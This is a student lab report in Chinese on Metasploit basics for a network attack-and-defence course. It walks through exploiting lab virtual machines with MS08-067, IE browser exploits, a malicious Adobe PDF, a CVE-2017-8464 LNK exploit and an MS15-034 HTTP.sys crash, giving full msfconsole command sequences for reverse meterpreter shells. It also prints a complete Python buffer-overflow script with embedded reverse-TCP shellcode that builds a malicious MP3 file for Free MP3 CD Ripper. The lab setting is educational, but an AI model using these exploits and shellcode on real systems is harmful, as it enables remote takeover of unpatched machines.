2018-2019-2 网络对抗技术 20165230 Exp5 MSF基础应用 2.基础问题回答 3.实验内容 4.实践总结与体会 5.离实战还缺些什么技术或步骤?
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
(1)用自己的话解释什么是exploit,payload,encode.
- exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中。
- payload也就相当于载荷,是我们exploit中shellcode中的主要功能代码,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。
- encode也就是编码,是我们用来修改字符,实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
3.实验内容
任务一:一个主动攻击实践
漏洞MS08_067(成功)
关于漏洞MS08_067的原理
- 安全公告:KB958644
- 时间:2008年底
- 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数NetPathCanonicalize函数对进行远程访问的路径规范化,而此函数中存在栈缓冲区内存漏洞,可被利用实施远程代码执行
- 详细原理说明:在规范化路径操作中,就是将路径字符串中'/'置换成''以及出去相对路径(例如:'.'),而服务程序在这部分的地址空间检查存在逻辑漏洞,攻击者可以在函数除去“..”字符串时,将路径字符串中的内容复制到路径串之前的地址空间中,覆盖掉返回地址执行shellcode(原理类似我们之前所做的缓冲区溢出攻击)
- 受影响的操作系统:windows 2000/xp/server 2003/server 2008/vista/7 Beta
- 影响:能远程主动发起对漏洞主机端口的扫描,并且能直接获得漏洞主机的系统权限,属于最高严重级别的漏洞
攻击过程
- 靶机:Windows XP SP3 English
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
- 步骤
1.先用search ms08_067指令查询一下针对该漏洞可以运用的攻击模块:
2.用use exploit/windows/smb/ms08_067_netapi
使用该模块,再使用show payloads查看可以供我们使用的payload
3.我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp
对payload进行设置:
4.接着使用指令show options查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):
5.show targets 查看这个漏洞波及的系统版本共71个,主要是xp和2003。我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)
6.接着使用exploit指令开始攻击,攻击成功后获取了靶机的shell,使用dir指令查看目录文件:
问题
-
一开始用的老师给的xp中文版虚拟机,结果一直提示没有建立会话:
-
从学姐那拷了英文版的xp,后面就没有出现类似问题。
任务二:一个针对浏览器的攻击
ms11_050(成功)
关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
攻击过程
- 靶机:Windows XP SP3 English
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
- 攻击成功
ms14_064(成功)
漏洞原理
- Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本
攻击过程
- 靶机:Windows XP SP3 English IE8
- IP:192.168.19.145
- 主机:Kali
- IP:192.168.19.129
search ms14_064 搜索漏洞
use windows/browser/ms14_064_ole_code_execution 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST 192.168.19.129 设置监听地址
set LPORT 5230 设置监听端口
set URIPATH tky 设置url域名
exploit 开始攻击,并在靶机打开IE浏览器输入生成的网址,kali的8080端口监听获得连接,建立会话
sessions -i num 查看开启的会话
- 攻击成功
任务三:一个针对客户端的攻击
Adobe_toolbutton(成功)
漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
攻击过程
1.根据自己的需求选择攻击模块,将其载入。选用exploit/windows/fileformat/adobe_toolbutton
2.使用命令show payloads
选择要使用的payload(这里使用了windows/meterpreter/reverse_http
)
3.使用命令show options
查看相关参数设置要求
4.设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/
目录下成功生成了一个5230.pdf文件:
5.然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听
6.将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
问题
-
最开始下载了adobe9.3,但是攻击不成功,总是会闪退
-
重新下载了adobe的版本——9.0即可
CVE-2018-8174(失败)
攻击过程
-
1.首先到GitHub上下载用于该漏洞的攻击模块
https://github.com/0x09AL/CVE-2018-8174-msf.git
-
2.下载到kali之中并查看一下目录是否成功下载,将CVE-2018-8174.rb复制到 fileformat 目录/:
cd CVE-2018-8174-msf/
cp CVE-2018-8174.rb /usr/share/metasploit-framework/modules/exploits/windows/fileformat/ /*将CVE-2018-8174.rtf复制到 exploits 目录*/
cp CVE-2018-8174.rtf /usr/share/metasploit-framework/data/exploits/
- 启动 metasploit
use exploit/windows/fileformat/cve_2018_8174
set PAYLOAD windows/meterpreter/reverse_tcp
set srvhost 192.168.19.129
set lhost 192.168.19.129
exploit
-
用靶机的 IE 浏览器打开恶意 URL,显示连接成功,但是没有返回shell
-
尝试了老师的方法word打开,这个漏洞只针对32位的word,下载了2013和2010版的都没能成功,一打开.rtf文件,word就会崩
-
最开始会弹此文档包含的连接可能引用了其他文件,以为有机会成功,但是不论选“是”还是“否”,最后都会弹内存不足
-
去网上查了一下,别人说告警内存不足一定是中了病毒。。。。。
-
看来这个漏洞已经被修复了。试了很多遍,在WIN7里和WIN10里都试过,还是没能成功
问题
-
最开始用CP命令拷贝文件到相应的文件夹下后,执行msfconsole会报错
-
看了一下报错的内容,最后一句意思大概意思是要使用小写,修改以后可正常执行
此处一定要将.rb文件名中的CVE变为小写,.crt不变
CVE-2017-8464(成功)
攻击过程
-
靶机:Win7
-
在开始之前先通过命令
search CVE:2018 type:exploit
找了一下CVE-2017和2018漏洞有哪些,其实很多英文参数看不懂,这时候百度就是个好东西,有很多漏洞要不就是涉及的知识我不懂,要不就是它需要的环境和软件我下载不下来,挑来选去选中了这个漏洞 -
打开终端
msfconsole
use exploit/windows/fileformat/cve_2017_8464_lnk_rce
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.19.129
exploit
- 2.将生成的.lnk文件全部复制到移动磁盘里面(u盘拷贝),然后在msf中开始监听
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LHOST192.168.19.129
exploit
- 3.将可移动磁盘插入靶机中,如果靶机开启了自动播放,选择浏览文件时即可回弹。
CVE-2019-9766(成功且唯一)
漏洞原理
- Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码
攻击过程
-
靶机:Win10
-
利用msf生成反向连接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
- 替换脚本中的shellcode.
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "xebx06x90x90"
SEH = "x84x20xe4x66"
nops = "x90" * 5
buf = ""
buf = ""
buf += "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
buf += "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
buf += "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
buf += "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
buf += "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
buf += "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
buf += "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
buf += "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
buf += "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
buf += "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
buf += "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
buf += "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x13x81"
buf += "x68x02x00x1cx3ex89xe6x50x50x50x50x40x50x40x50"
buf += "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
buf += "x74x61xffxd5x85xc0x74x0cxffx4ex08x75xecx68xf0"
buf += "xb5xa2x56xffxd5x6ax00x6ax04x56x57x68x02xd9xc8"
buf += "x5fxffxd5x8bx36x6ax40x68x00x10x00x00x56x6ax00"
buf += "x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57x68"
buf += "x02xd9xc8x5fxffxd5x01xc3x29xc6x75xeexc3";
pad = "B" * (316 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
-
2.运行脚本,生成恶意mp3文件,python FmcrExploit.py
-
3.移动恶意文件到靶机windows10上
-
4.打开msf并设置监听
-
在主机上打开Free MP3 CD Ripper软件
-
回连成功!
任务四:应用辅助模块的攻击
MS15-034(成功且唯一)
原理
- 在2015年4月安全补丁日,微软发布的众多安全更新中,修复了HTTP.sys中一处允许远程执行代码漏洞,编号为:CVE-2015-1635(MS15-034 )。利用HTTP.sys的安全漏洞,攻击者只需要发送恶意的http请求数据包,就可能远程读取IIS服务器的内存数据,或使服务器系统蓝屏崩溃。根据公告显示,该漏洞对服务器系统造成了不小的影响,主要影响了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在内的主流服务器操作系统。
攻击过程
-
靶机:windows server 2012 R2
- IP:192.168.19.148
-
在正式攻击之前可以先用auxiliary中的扫描端口模块扫描受害机开发的端口
-
首先需要安装IIS服务
-
win12安装好iis服务后访问80端口,检测是否存在漏洞:使用curl发送以下数据
curl http://192.168.19.148 -H "Host: 192.168.19.148" -H "Range: bytes=0-18446744073709551615"
当出现Requested Range Not Satisfiable时说明存在漏洞。 -
在msf中执行过程如下,原理与之前的一样
use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
show options
set rhosts 192.168.19.148
set threads 10
exploit
- 哈哈哈哈哈哈 蓝屏攻击成功!
4.实践总结与体会
- 这次实验找了很多靶机和漏洞,本想实现一个18年的adobeflashplayer漏洞CVE2018-4878,但是找了很久发现都下载不了旧版本的插件,官网又要求其他网站不能提供下载地址,尝试了很久还是放弃了。接着又找了很多CVE漏洞,漏洞准备其实不算难,难的在于寻找靶机,前后一共找了5个靶机,分别是Win7 、Win Server 8 、 Win Server 12 R2 、 Win XP SP3 Ch-zn 和 Win XP SP3 English。有很多时候电脑反应特别慢,靶机还不上当
- 整个过程给我最大的感受就是官网提示的更新一定要尽早更新,有太多人心心念念着利用旧版本的漏洞实现各种各样的攻击,他们不会像我们这样获取用户的shell,而是从中非法获取私人信息。我还找到了一个可利用U盘进行传播的漏洞,这也是为什么很多涉密单位必须用加密的U盘,网络攻击无时无刻都存在,有不法分子谋取利益,也有国外敌对分子获取情报,我们一定要提高警惕,不要随意点未知的链接,及时更新,及时杀毒,太重要了。
5.离实战还缺些什么技术或步骤?
- 如何将恶意软件隐蔽的植入用户的电脑!